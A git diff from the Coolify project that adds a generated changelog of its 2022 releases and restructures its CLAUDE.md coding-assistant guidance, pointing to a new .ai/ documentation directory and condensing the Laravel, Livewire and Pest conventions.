+- Version++
+
+## [2.4.10] - 2022-04-17
+
+### 🚀 Features
+
+- Add persistent storage for services
+- Multiply dockerfile locations for docker buildpack
+- Testing fluentd logging driver
+- Fluentbit investigation
+- Initial deno support
+
+### 🐛 Bug Fixes
+
+- Switch from bitnami/redis to normal redis
+- Use redis-alpine
+- Wordpress extra config
+- Stop sFTP connection on wp stop
+- Change user's id in sftp wp instance
+- Use arm based certbot on arm
+- Buildlog line number is not string
+- Application logs paginated
+- Switch to stream on applications logs
+- Scroll to top for logs
+- Pull new images for services all the time it's started.
+- White-labeled custom logo
+- Application logs
+
+### 💼 Other
+
+- Show extraconfig if wp is running
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+
+## [2.4.9] - 2022-04-14
+
+### 🐛 Bug Fixes
+
+- Postgres root pw is pw field
+- Teams view
+- Improved tcp proxy monitoring for databases/ftp
+- Add HTTP proxy checks
+- Loading of new destinations
+- Better performance for cleanup images
+- Remove proxy container in case of dependent container is down
+- Restart local docker coolify proxy in case of something happens to it
+- Id of service container
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.8] - 2022-04-13
+
+### 🐛 Bug Fixes
+
+- Register should happen if coolify proxy cannot be started
+- GitLab typo
+- Remove system wide pw reset
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.7] - 2022-04-13
+
+### 🐛 Bug Fixes
+
+- Destinations to HAProxy
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.6] - 2022-04-13
+
+### 🐛 Bug Fixes
+
+- Cleanup images older than a day
+- Meilisearch service
+- Load all branches, not just the first 30
+- ProjectID for Github
+- DNS check before creating SSL cert
+- Try catch me
+- Restart policy for resources
+- No permission on first registration
+- Reverting postgres password for now
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.5] - 2022-04-12
+
+### 🐛 Bug Fixes
+
+- Types
+- Invitations
+- Timeout values
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.4] - 2022-04-12
+
+### 🐛 Bug Fixes
+
+- Haproxy build stuffs
+- Proxy
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.3] - 2022-04-12
+
+### 🐛 Bug Fixes
+
+- Remove unnecessary save button haha
+- Update dockerfile
+
+### ⚙️ Miscellaneous Tasks
+
+- Update packages
+- Version++
+- Update build scripts
+- Update build packages
+
+## [2.4.2] - 2022-04-09
+
+### 🐛 Bug Fixes
+
+- Missing install repositories GitHub
+- Return own and other sources better
+- Show config missing on sources
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.1] - 2022-04-09
+
+### 🐛 Bug Fixes
+
+- Enable https for Ghost
+- Postgres root passwor shown and set
+- Able to change postgres user password from ui
+- DB Connecting string generator
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.4.0] - 2022-04-08
+
+### 🚀 Features
+
+- Wordpress on-demand SFTP
+- Finalize on-demand sftp for wp
+- PHP Composer support
+- Working on-demand sftp to wp data
+- Admin team sees everything
+- Able to change service version/tag
+- Basic white labeled version
+- Able to modify database passwords
+
+### 🐛 Bug Fixes
+
+- Add openssl to image
+- Permission issues
+- On-demand sFTP for wp
+- Fix for fix haha
+- Do not pull latest image
+- Updated db versions
+- Only show proxy for admin team
+- Team view for root team
+- Do not trigger >1 webhooks on GitLab
+- Possible fix for spikes in CPU usage
+- Last commit
+- Www or not-www, that's the question
+- Fix for the fix that fixes the fix
+- Ton of updates for users/teams
+- Small typo
+- Unique storage paths
+- Self-hosted GitLab URL
+- No line during buildLog
+- Html/apiUrls cannot end with /
+- Typo
+- Missing buildpack
+
+### 💼 Other
+
+- Fix
+- Better layout for root team
+- Fix
+- Fixes
+- Fix
+- Fix
+- Fix
+- Fix
+- Fix
+- Fix
+- Fix
+- Insane amount
+- Fix
+- Fixes
+- Fixes
+- Fix
+- Fixes
+- Fixes
+
+### 📚 Documentation
+
+- Contribution guide
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.3.3] - 2022-04-05
+
+### 🐛 Bug Fixes
+
+- Add git lfs while deploying
+- Try to update build status several times
+- Update stucked builds
+- Update stucked builds on startup
+- Revert seed
+- Lame fixing
+- Remove asyncUntil
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.3.2] - 2022-04-04
+
+### 🐛 Bug Fixes
+
+- *(php)* If .htaccess file found use apache
+- Add default webhook domain for n8n
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.3.1] - 2022-04-04
+
+### 🐛 Bug Fixes
+
+- Secrets build/runtime coudl be changed after save
+- Default configuration
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.3.0] - 2022-04-04
+
+### 🚀 Features
+
+- Initial python support
+- Add loading on register button
+- *(dev)* Allow windows users to use pnpm dev
+- MeiliSearch service
+- Add abilitry to paste env files
+
+### 🐛 Bug Fixes
+
+- Ignore coolify proxy error for now
+- Python no wsgi
+- If user not found
+- Rename envs to secrets
+- Infinite loop on www domains
+- No need to paste clear text env for previews
+- Build log fix attempt #1
+- Small UI fix on logs
+- Lets await!
+- Async progress
+- Remove console.log
+- Build log
+- UI
+- Gitlab & Github urls
+
+### 💼 Other
+
+- Improvements
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+- Lock file + fix packages
+
+## [2.2.7] - 2022-04-01
+
+### 🐛 Bug Fixes
+
+- Haproxy errors
+- Build variables
+- Use NodeJS for sveltekit for now
+
+## [2.2.6] - 2022-03-31
+
+### 🐛 Bug Fixes
+
+- Add PROTO headers
+
+## [2.2.5] - 2022-03-31
+
+### 🐛 Bug Fixes
+
+- Registration enabled/disabled
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.2.4] - 2022-03-31
+
+### 🐛 Bug Fixes
+
+- Gitlab repo url
+- No need to dashify anymore
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.2.3] - 2022-03-31
+
+### 🐛 Bug Fixes
+
+- List ghost services
+- Reload window on settings saved
+- Persistent storage on webhooks
+- Add license
+- Space in repo names
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+- Version++
+- Fixed typo on New Git Source view
+
+## [2.2.0] - 2022-03-27
+
+### 🚀 Features
+
+- Add n8n.io service
+- Add update kuma service
+- Ghost service
+
+### 🐛 Bug Fixes
+
+- Ghost logo size
+- Ghost icon, remove console.log
+
+### 💼 Other
+
+- Colors on svelte-select
+
+### ⚙️ Miscellaneous Tasks
+
+- Version ++
+
+## [2.1.1] - 2022-03-25
+
+### 🐛 Bug Fixes
+
+- Cleanup only 2 hours+ old images
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.1.0] - 2022-03-23
+
+### 🚀 Features
+
+- Use compose instead of normal docker cmd
+- Be able to redeploy PRs
+
+### 🐛 Bug Fixes
+
+- Skip ssl cert in case of error
+- Volumes
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.31] - 2022-03-20
+
+### 🚀 Features
+
+- Add PHP modules
+
+### 🐛 Bug Fixes
+
+- Cleanup old builds
+- Only cleanup same app
+- Add nginx + htaccess files
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.30] - 2022-03-19
+
+### 🐛 Bug Fixes
+
+- No cookie found
+- Missing session data
+- No error if GitSource is missing
+- No webhook secret found?
+- Basedir for dockerfiles
+- Better queue system + more support on monorepos
+- Remove build logs in case of app removed
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.29] - 2022-03-11
+
+### 🚀 Features
+
+- Webhooks inititate all applications with the correct branch
+- Check ssl for new apps/services first
+- Autodeploy pause
+- Install pnpm into docker image if pnpm lock file is used
+
+### 🐛 Bug Fixes
+
+- Personal Gitlab repos
+- Autodeploy true by default for GH repos
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.28] - 2022-03-04
+
+### 🚀 Features
+
+- Service secrets
+
+### 🐛 Bug Fixes
+
+- Do not error if proxy is not running
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.27] - 2022-03-02
+
+### 🚀 Features
+
+- Send version with update request
+
+### 🐛 Bug Fixes
+
+- Check when a container is running
+- Reload haproxy if new cert is added
+- Cleanup coolify images
+- Application state in UI
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.26] - 2022-03-02
+
+### 🐛 Bug Fixes
+
+- Update process
+
+## [2.0.25] - 2022-03-02
+
+### 🚀 Features
+
+- Languagetool service
+
+### 🐛 Bug Fixes
+
+- Reload proxy on ssl cert
+- Volume name
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.24] - 2022-03-02
+
+### 🐛 Bug Fixes
+
+- Better proxy check
+- Ssl + sslrenew
+- Null proxyhash on restart
+- Reconfigure proxy on restart
+- Update process
+
+## [2.0.23] - 2022-02-28
+
+### 🐛 Bug Fixes
+
+- Be sure .env exists
+- Missing fqdn for services
+- Default npm command
+- Add coolify-image label for build images
+- Cleanup old images, > 3 days
+
+### 💼 Other
+
+- Colorful states
+- Application start
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.22] - 2022-02-27
+
+### 🐛 Bug Fixes
+
+- Coolify image pulls
+- Remove wrong/stuck proxy configurations
+- Always use a buildpack
+- Add icons for eleventy + astro
+- Fix proxy every 10 secs
+- Do not remove coolify proxy
+- Update version
+
+### 💼 Other
+
+- Remote docker engine
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.21] - 2022-02-24
+
+### 🚀 Features
+
+- Random subdomain for demo
+- Random domain for services
+- Astro buildpack
+- 11ty buildpack
+- Registration page
+
+### 🐛 Bug Fixes
+
+- Http for demo, oops
+- Docker scanner
+- Improvement on image pulls
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.20] - 2022-02-23
+
+### 🐛 Bug Fixes
+
+- Revert default network
+
+### 💼 Other
+
+- Dns check
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.19] - 2022-02-23
+
+### 🐛 Bug Fixes
+
+- Random network name for demo
+- Settings fqdn grr
+
+## [2.0.18] - 2022-02-22
+
+### 🚀 Features
+
+- Ports range
+
+### 🐛 Bug Fixes
+
+- Email is lowercased in login
+- Lowercase email everywhere
+- Use normal docker-compose in dev
+
+### 💼 Other
+
+- Make copy/password visible
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.17] - 2022-02-21
+
+### 🐛 Bug Fixes
+
+- Move tokens from session to cookie/store
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.14] - 2022-02-18
+
+### 🚀 Features
+
+- Basic password reset form
+- Scan for lock files and set right commands
+- Public port range (WIP)
+
+### 🐛 Bug Fixes
+
+- SSL app off
+- Local docker host
+- Typo
+- Lets encrypt
+- Remove SSL with stop
+- SSL off for services
+- Grr
+- Running state css
+- Minor fixes
+- Remove force SSL when doing let's encrypt request
+- GhToken in session now
+- Random port for certbot
+- Follow icon
+- Plausible volume fixed
+- Database connection strings
+- Gitlab webhooks fixed
+- If DNS not found, do not redirect
+- Github token
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version ++
+
+## [2.0.13] - 2022-02-17
+
+### 🐛 Bug Fixes
+
+- Login issues
+
+## [2.0.11] - 2022-02-15
+
+### 🚀 Features
+
+- Follow logs
+- Generate www & non-www SSL certs
+
+### 🐛 Bug Fixes
+
+- Window error in SSR
+- GitHub sync PR's
+- Load more button
+- Small fixes
+- Typo
+- Error with follow logs
+- IsDomainConfigured
+- TransactionIds
+- Coolify image cleanup
+- Cleanup every 10 mins
+- Cleanup images
+- Add no user redis to uri
+- Secure cookie disabled by default
+- Buggy svelte-kit-cookie-session
+
+### 💼 Other
+
+- Only allow cleanup in production
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+- Version++
+
+## [2.0.10] - 2022-02-15
+
+### 🐛 Bug Fixes
+
+- Typo
+- Error handling
+- Stopping service without proxy
+- Coolify proxy start
+
+### ⚙️ Miscellaneous Tasks
+
+- Version++
+
+## [2.0.8] - 2022-02-14
+
+### 🐛 Bug Fixes
+
+- Validate secrets
+- Truncate git clone errors
+- Branch used does not throw error
+
+## [2.0.7] - 2022-02-13
+
+### 🚀 Features
+
+- Www <-> non-www redirection for apps
+- Www <-> non-www redirection
+
+### 🐛 Bug Fixes
+
+- Package.json
+- Build secrets should be visible in runtime
+- New secret should have default values
+
+## [2.0.5] - 2022-02-11
+
+### 🚀 Features
+
+- VaultWarden service
+
+### 🐛 Bug Fixes
+
+- PreventDefault on a button, thats all
+- Haproxy check should not throw error
+- Delete all build files
+- Cleanup images
+- More error handling in proxy configuration + cleanups
+- Local static assets
+- Check sentry
+- Typo
+
+### ⚙️ Miscellaneous Tasks
+
+- Version
+- Version
+
+## [2.0.4] - 2022-02-11
+
+### 🚀 Features
+
+- Use tags in update
+- New update process (#115)
+
+### 🐛 Bug Fixes
+
+- Docker Engine bug related to live-restore and IPs
+- Version
+
+## [2.0.3] - 2022-02-10
+
+### 🐛 Bug Fixes
+
+- Capture non-error as error
+- Only delete id.rsa in case of it exists
+- Status is not available yet
+
+### ⚙️ Miscellaneous Tasks
+
+- Version bump
+
+## [2.0.2] - 2022-02-10
+
+### 🐛 Bug Fixes
+
+- Secrets join
+- ENV variables set differently
+
+## [1.0.0] - 2021-03-24
 
 <!-- generated by git-cliff -->
diff --git a/CLAUDE.md b/CLAUDE.md
index 6434ef877..b7c496e42 100644
--- a/CLAUDE.md
+++ b/CLAUDE.md
@@ -2,9 +2,9 @@ # CLAUDE.md
 
 This file provides guidance to **Claude Code** (claude.ai/code) when working with code in this repository.
 
-> **Note for AI Assistants**: This file is specifically for Claude Code. If you're using Cursor IDE, refer to the `.cursor/rules/` directory for detailed rule files. Both systems share core principles but are optimized for their respective workflows.
+> **Note for AI Assistants**: This file is specifically for Claude Code. All detailed documentation is in the `.ai/` directory. Both Claude Code and Cursor IDE use the same source files in `.ai/` for consistency.
 >
-> **Maintaining Instructions**: When updating AI instructions, see [.AI_INSTRUCTIONS_SYNC.md](.AI_INSTRUCTIONS_SYNC.md) for synchronization guidelines between CLAUDE.md and .cursor/rules/.
+> **Maintaining Instructions**: When updating AI instructions, see [.ai/meta/sync-guide.md](.ai/meta/sync-guide.md) and [.ai/meta/maintaining-docs.md](.ai/meta/maintaining-docs.md) for guidelines.
 
 ## Project Overview
 
@@ -27,7 +27,8 @@ ### Backend Development
 ### Code Quality
 - `./vendor/bin/pint` - Run Laravel Pint for code formatting
 - `./vendor/bin/phpstan` - Run PHPStan for static analysis
-- `./vendor/bin/pest` - Run Pest tests (unit tests only, without database)
+- `./vendor/bin/pest tests/Unit` - Run unit tests only (no database, can run outside Docker)
+- `./vendor/bin/pest` - Run ALL tests (includes Feature tests, may require database)
 
 ### Running Tests
 **IMPORTANT**: Tests that require database connections MUST be run inside the Docker container:
@@ -39,12 +40,14 @@ ### Running Tests
 ## Architecture Overview
 
 ### Technology Stack
-- **Backend**: Laravel 12 (PHP 8.4)
-- **Frontend**: Livewire 3.5+ with Alpine.js and Tailwind CSS 4.1+
+- **Backend**: Laravel 12.4.1 (PHP 8.4.7)
+- **Frontend**: Livewire 3.5.20 with Alpine.js and Tailwind CSS 4.1.4
 - **Database**: PostgreSQL 15 (primary), Redis 7 (cache/queues)
 - **Real-time**: Soketi (WebSocket server)
 - **Containerization**: Docker & Docker Compose
-- **Queue Management**: Laravel Horizon
+- **Queue Management**: Laravel Horizon 5.30.3
+
+> **Note**: For complete version information and all dependencies, see [.ai/core/technology-stack.md](.ai/core/technology-stack.md)
 
 ### Key Components
 
@@ -256,453 +259,61 @@ ## Important Reminders
 
 ## Additional Documentation
 
-This file contains high-level guidelines for Claude Code. For **more detailed, topic-specific documentation**, refer to the `.cursor/rules/` directory (also accessible by Cursor IDE and other AI assistants):
+This file contains high-level guidelines for Claude Code. For **more detailed, topic-specific documentation**, refer to the `.ai/` directory:
 
-> **Cross-Reference**: The `.cursor/rules/` directory contains comprehensive, detailed documentation organized by topic. Start with [.cursor/rules/README.mdc](.cursor/rules/README.mdc) for an overview, then explore specific topics below.
+> **Documentation Hub**: The `.ai/` directory contains comprehensive, detailed documentation organized by topic. Start with [.ai/README.md](.ai/README.md) for navigation, then explore specific topics below.
 
-### Architecture & Patterns
-- [Application Architecture](.cursor/rules/application-architecture.mdc) - Detailed application structure
-- [Deployment Architecture](.cursor/rules/deployment-architecture.mdc) - Deployment patterns and flows
-- [Database Patterns](.cursor/rules/database-patterns.mdc) - Database design and query patterns
-- [Frontend Patterns](.cursor/rules/frontend-patterns.mdc) - Livewire and Alpine.js patterns
-- [API & Routing](.cursor/rules/api-and-routing.mdc) - API design and routing conventions
+### Core Documentation
+- [Technology Stack](.ai/core/technology-stack.md) - All versions, packages, and dependencies (single source of truth)
+- [Project Overview](.ai/core/project-overview.md) - What Coolify is and how it works
+- [Application Architecture](.ai/core/application-architecture.md) - System design and component relationships
+- [Deployment Architecture](.ai/core/deployment-architecture.md) - How deployments work end-to-end
 
-### Development & Security
-- [Development Workflow](.cursor/rules/development-workflow.mdc) - Development best practices
-- [Security Patterns](.cursor/rules/security-patterns.mdc) - Security implementation details
-- [Form Components](.cursor/rules/form-components.mdc) - Enhanced form components with authorization
-- [Testing Patterns](.cursor/rules/testing-patterns.mdc) - Testing strategies and examples
+### Development Practices
+- [Development Workflow](.ai/development/development-workflow.md) - Development setup, commands, and workflows
+- [Testing Patterns](.ai/development/testing-patterns.md) - Testing strategies and examples (Docker requirements!)
+- [Laravel Boost](.ai/development/laravel-boost.md) - Laravel-specific guidelines and best practices
 
-### Project Information
-- [Project Overview](.cursor/rules/project-overview.mdc) - High-level project structure
-- [Technology Stack](.cursor/rules/technology-stack.mdc) - Detailed tech stack information
-- [Cursor Rules Guide](.cursor/rules/cursor_rules.mdc) - How to maintain cursor rules
+### Code Patterns
+- [Database Patterns](.ai/patterns/database-patterns.md) - Eloquent, migrations, relationships
+- [Frontend Patterns](.ai/patterns/frontend-patterns.md) - Livewire, Alpine.js, Tailwind CSS
+- [Security Patterns](.ai/patterns/security-patterns.md) - Authentication, authorization, security
+- [Form Components](.ai/patterns/form-components.md) - Enhanced form components with authorization
+- [API & Routing](.ai/patterns/api-and-routing.md) - API design and routing conventions
 
-===
+### Meta Documentation
+- [Maintaining Docs](.ai/meta/maintaining-docs.md) - How to update and improve AI documentation
+- [Sync Guide](.ai/meta/sync-guide.md) - Keeping documentation synchronized
 
-<laravel-boost-guidelines>
-=== foundation rules ===
+## Laravel Boost Guidelines
 
-# Laravel Boost Guidelines
+> **Full Guidelines**: See [.ai/development/laravel-boost.md](.ai/development/laravel-boost.md) for complete Laravel Boost guidelines.
 
-The Laravel Boost guidelines are specifically curated by Laravel maintainers for this application. These guidelines should be followed closely to enhance the user's satisfaction building Laravel applications.
+### Essential Laravel Patterns
 
-## Foundational Context
-This application is a Laravel application and its main Laravel ecosystems package & versions are below. You are an expert with them all. Ensure you abide by these specific packages & versions.
+- Use PHP 8.4 constructor property promotion and typed properties
+- Follow PSR-12 (run `./vendor/bin/pint` before committing)
+- Use Eloquent ORM, avoid raw queries
+- Use Form Request classes for validation
+- Queue heavy operations with Laravel Horizon
+- Never use `env()` outside config files
+- Use named routes with `route()` function
+- Laravel 12 with Laravel 10 structure (no bootstrap/app.php)
 
-- php - 8.4.7
-- laravel/fortify (FORTIFY) - v1
-- laravel/framework (LARAVEL) - v12
-- laravel/horizon (HORIZON) - v5
-- laravel/prompts (PROMPTS) - v0
-- laravel/sanctum (SANCTUM) - v4
-- laravel/socialite (SOCIALITE) - v5
-- livewire/livewire (LIVEWIRE) - v3
-- laravel/dusk (DUSK) - v8
-- laravel/pint (PINT) - v1
-- laravel/telescope (TELESCOPE) - v5
-- pestphp/pest (PEST) - v3
-- phpunit/phpunit (PHPUNIT) - v11
-- rector/rector (RECTOR) - v2
-- laravel-echo (ECHO) - v2
-- tailwindcss (TAILWINDCSS) - v4
-- vue (VUE) - v3
+### Testing Requirements
 
+- **Unit tests**: No database, use mocking, run with `./vendor/bin/pest tests/Unit`
+- **Feature tests**: Can use database, run with `docker exec coolify php artisan test`
+- Every change must have tests
+- Use Pest for all tests
 
-## Conventions
-- You must follow all existing code conventions used in this application. When creating or editing a file, check sibling files for the correct structure, approach, naming.
-- Use descriptive names for variables and methods. For example, `isRegisteredForDiscounts`, not `discount()`.
-- Check for existing components to reuse before writing a new one.
+### Livewire & Frontend
 
-## Verification Scripts
-- Do not create verification scripts or tinker when tests cover that functionality and prove it works. Unit and feature tests are more important.
-
-## Application Structure & Architecture
-- Stick to existing directory structure - don't create new base folders without approval.
-- Do not change the application's dependencies without approval.
-
-## Frontend Bundling
-- If the user doesn't see a frontend change reflected in the UI, it could mean they need to run `npm run build`, `npm run dev`, or `composer run dev`. Ask them.
-
-## Replies
-- Be concise in your explanations - focus on what's important rather than explaining obvious details.
-
-## Documentation Files
-- You must only create documentation files if explicitly requested by the user.
-
-
-=== boost rules ===
-
-## Laravel Boost
-- Laravel Boost is an MCP server that comes with powerful tools designed specifically for this application. Use them.
-
-## Artisan
-- Use the `list-artisan-commands` tool when you need to call an Artisan command to double check the available parameters.
-
-## URLs
-- Whenever you share a project URL with the user you should use the `get-absolute-url` tool to ensure you're using the correct scheme, domain / IP, and port.
-
-## Tinker / Debugging
-- You should use the `tinker` tool when you need to execute PHP to debug code or query Eloquent models directly.
-- Use the `database-query` tool when you only need to read from the database.
-
-## Reading Browser Logs With the `browser-logs` Tool
-- You can read browser logs, errors, and exceptions using the `browser-logs` tool from Boost.
-- Only recent browser logs will be useful - ignore old logs.
-
-## Searching Documentation (Critically Important)
-- Boost comes with a powerful `search-docs` tool you should use before any other approaches. This tool automatically passes a list of installed packages and their versions to the remote Boost API, so it returns only version-specific documentation specific for the user's circumstance. You should pass an array of packages to filter on if you know you need docs for particular packages.
-- The 'search-docs' tool is perfect for all Laravel related packages, including Laravel, Inertia, Livewire, Filament, Tailwind, Pest, Nova, Nightwatch, etc.
-- You must use this tool to search for Laravel-ecosystem documentation before falling back to other approaches.
-- Search the documentation before making code changes to ensure we are taking the correct approach.
-- Use multiple, broad, simple, topic based queries to start. For example: `['rate limiting', 'routing rate limiting', 'routing']`.
-- Do not add package names to queries - package information is already shared. For example, use `test resource table`, not `filament 4 test resource table`.
-
-### Available Search Syntax
-- You can and should pass multiple queries at once. The most relevant results will be returned first.
-
-1. Simple Word Searches with auto-stemming - query=authentication - finds 'authenticate' and 'auth'
-2. Multiple Words (AND Logic) - query=rate limit - finds knowledge containing both "rate" AND "limit"
-3. Quoted Phrases (Exact Position) - query="infinite scroll" - Words must be adjacent and in that order
-4. Mixed Queries - query=middleware "rate limit" - "middleware" AND exact phrase "rate limit"
-5. Multiple Queries - queries=["authentication", "middleware"] - ANY of these terms
-
-
-=== php rules ===
-
-## PHP
-
-- Always use curly braces for control structures, even if it has one line.
-
-### Constructors
-- Use PHP 8 constructor property promotion in `__construct()`.
-    - <code-snippet>public function __construct(public GitHub $github) { }</code-snippet>
-- Do not allow empty `__construct()` methods with zero parameters.
-
-### Type Declarations
-- Always use explicit return type declarations for methods and functions.
-- Use appropriate PHP type hints for method parameters.
-
-<code-snippet name="Explicit Return Types and Method Params" lang="php">
-protected function isAccessible(User $user, ?string $path = null): bool
-{
-    ...
-}
-</code-snippet>
-
-## Comments
-- Prefer PHPDoc blocks over comments. Never use comments within the code itself unless there is something _very_ complex going on.
-
-## PHPDoc Blocks
-- Add useful array shape type definitions for arrays when appropriate.
-
-## Enums
-- Typically, keys in an Enum should be TitleCase. For example: `FavoritePerson`, `BestLake`, `Monthly`.
-
-
-=== laravel/core rules ===
-
-## Do Things the Laravel Way
-
-- Use `php artisan make:` commands to create new files (i.e. migrations, controllers, models, etc.). You can list available Artisan commands using the `list-artisan-commands` tool.
-- If you're creating a generic PHP class, use `artisan make:class`.
-- Pass `--no-interaction` to all Artisan commands to ensure they work without user input. You should also pass the correct `--options` to ensure correct behavior.
-
-### Database
-- Always use proper Eloquent relationship methods with return type hints. Prefer relationship methods over raw queries or manual joins.
-- Use Eloquent models and relationships before suggesting raw database queries
-- Avoid `DB::`; prefer `Model::query()`. Generate code that leverages Laravel's ORM capabilities rather than bypassing them.
-- Generate code that prevents N+1 query problems by using eager loading.
-- Use Laravel's query builder for very complex database operations.
-
-### Model Creation
-- When creating new models, create useful factories and seeders for them too. Ask the user if they need any other things, using `list-artisan-commands` to check the available options to `php artisan make:model`.
-
-### APIs & Eloquent Resources
-- For APIs, default to using Eloquent API Resources and API versioning unless existing API routes do not, then you should follow existing application convention.
-
-### Controllers & Validation
-- Always create Form Request classes for validation rather than inline validation in controllers. Include both validation rules and custom error messages.
-- Check sibling Form Requests to see if the application uses array or string based validation rules.
-
-### Queues
-- Use queued jobs for time-consuming operations with the `ShouldQueue` interface.
-
-### Authentication & Authorization
-- Use Laravel's built-in authentication and authorization features (gates, policies, Sanctum, etc.).
-
-### URL Generation
-- When generating links to other pages, prefer named routes and the `route()` function.
-
-### Configuration
-- Use environment variables only in configuration files - never use the `env()` function directly outside of config files. Always use `config('app.name')`, not `env('APP_NAME')`.
-
-### Testing
-- When creating models for tests, use the factories for the models. Check if the factory has custom states that can be used before manually setting up the model.
-- Faker: Use methods such as `$this->faker->word()` or `fake()->randomDigit()`. Follow existing conventions whether to use `$this->faker` or `fake()`.
-- When creating tests, make use of `php artisan make:test [options] <name>` to create a feature test, and pass `--unit` to create a unit test. Most tests should be feature tests.
-
-### Vite Error
-- If you receive an "Illuminate\Foundation\ViteException: Unable to locate file in Vite manifest" error, you can run `npm run build` or ask the user to run `npm run dev` or `composer run dev`.
-
-
-=== laravel/v12 rules ===
-
-## Laravel 12
-
-- Use the `search-docs` tool to get version specific documentation.
-- This project upgraded from Laravel 10 without migrating to the new streamlined Laravel file structure.
-- This is **perfectly fine** and recommended by Laravel. Follow the existing structure from Laravel 10. We do not to need migrate to the new Laravel structure unless the user explicitly requests that.
-
-### Laravel 10 Structure
-- Middleware typically lives in `app/Http/Middleware/` and service providers in `app/Providers/`.
-- There is no `bootstrap/app.php` application configuration in a Laravel 10 structure:
-    - Middleware registration happens in `app/Http/Kernel.php`
-    - Exception handling is in `app/Exceptions/Handler.php`
-    - Console commands and schedule register in `app/Console/Kernel.php`
-    - Rate limits likely exist in `RouteServiceProvider` or `app/Http/Kernel.php`
-
-### Database
-- When modifying a column, the migration must include all of the attributes that were previously defined on the column. Otherwise, they will be dropped and lost.
-- Laravel 12 allows limiting eagerly loaded records natively, without external packages: `$query->latest()->limit(10);`.
-
-### Models
-- Casts can and likely should be set in a `casts()` method on a model rather than the `$casts` property. Follow existing conventions from other models.
-
-
-=== livewire/core rules ===
-
-## Livewire Core
-- Use the `search-docs` tool to find exact version specific documentation for how to write Livewire & Livewire tests.
-- Use the `php artisan make:livewire [Posts\\CreatePost]` artisan command to create new components
-- State should live on the server, with the UI reflecting it.
-- All Livewire requests hit the Laravel backend, they're like regular HTTP requests. Always validate form data, and run authorization checks in Livewire actions.
-
-## Livewire Best Practices
-- Livewire components require a single root element.
-- Use `wire:loading` and `wire:dirty` for delightful loading states.
-- Add `wire:key` in loops:
-
-    ```blade
-    @foreach ($items as $item)
-        <div wire:key="item-{{ $item->id }}">
-            {{ $item->name }}
-        </div>
-    @endforeach
-    ```
-
-- Prefer lifecycle hooks like `mount()`, `updatedFoo()`) for initialization and reactive side effects:
-
-<code-snippet name="Lifecycle hook examples" lang="php">
-    public function mount(User $user) { $this->user = $user; }
-    public function updatedSearch() { $this->resetPage(); }
-</code-snippet>
-
-
-## Testing Livewire
-
-<code-snippet name="Example Livewire component test" lang="php">
-    Livewire::test(Counter::class)
-        ->assertSet('count', 0)
-        ->call('increment')
-        ->assertSet('count', 1)
-        ->assertSee(1)
-        ->assertStatus(200);
-</code-snippet>
-
-
-    <code-snippet name="Testing a Livewire component exists within a page" lang="php">
-        $this->get('/posts/create')
-        ->assertSeeLivewire(CreatePost::class);
-    </code-snippet>
-
-
-=== livewire/v3 rules ===
-
-## Livewire 3
-
-### Key Changes From Livewire 2
-- These things changed in Livewire 2, but may not have been updated in this application. Verify this application's setup to ensure you conform with application conventions.
-    - Use `wire:model.live` for real-time updates, `wire:model` is now deferred by default.
-    - Components now use the `App\Livewire` namespace (not `App\Http\Livewire`).
-    - Use `$this->dispatch()` to dispatch events (not `emit` or `dispatchBrowserEvent`).
-    - Use the `components.layouts.app` view as the typical layout path (not `layouts.app`).
-
-### New Directives
-- `wire:show`, `wire:transition`, `wire:cloak`, `wire:offline`, `wire:target` are available for use. Use the documentation to find usage examples.
-
-### Alpine
-- Alpine is now included with Livewire, don't manually include Alpine.js.
-- Plugins included with Alpine: persist, intersect, collapse, and focus.
-
-### Lifecycle Hooks
-- You can listen for `livewire:init` to hook into Livewire initialization, and `fail.status === 419` for the page expiring:
-
-<code-snippet name="livewire:load example" lang="js">
-document.addEventListener('livewire:init', function () {
-    Livewire.hook('request', ({ fail }) => {
-        if (fail && fail.status === 419) {
-            alert('Your session expired');
-        }
-    });
-
-    Livewire.hook('message.failed', (message, component) => {
-        console.error(message);
-    });
-});
-</code-snippet>
-
-
-=== pint/core rules ===
-
-## Laravel Pint Code Formatter
-
-- You must run `vendor/bin/pint --dirty` before finalizing changes to ensure your code matches the project's expected style.
-- Do not run `vendor/bin/pint --test`, simply run `vendor/bin/pint` to fix any formatting issues.
-
-
-=== pest/core rules ===
-
-## Pest
-
-### Testing
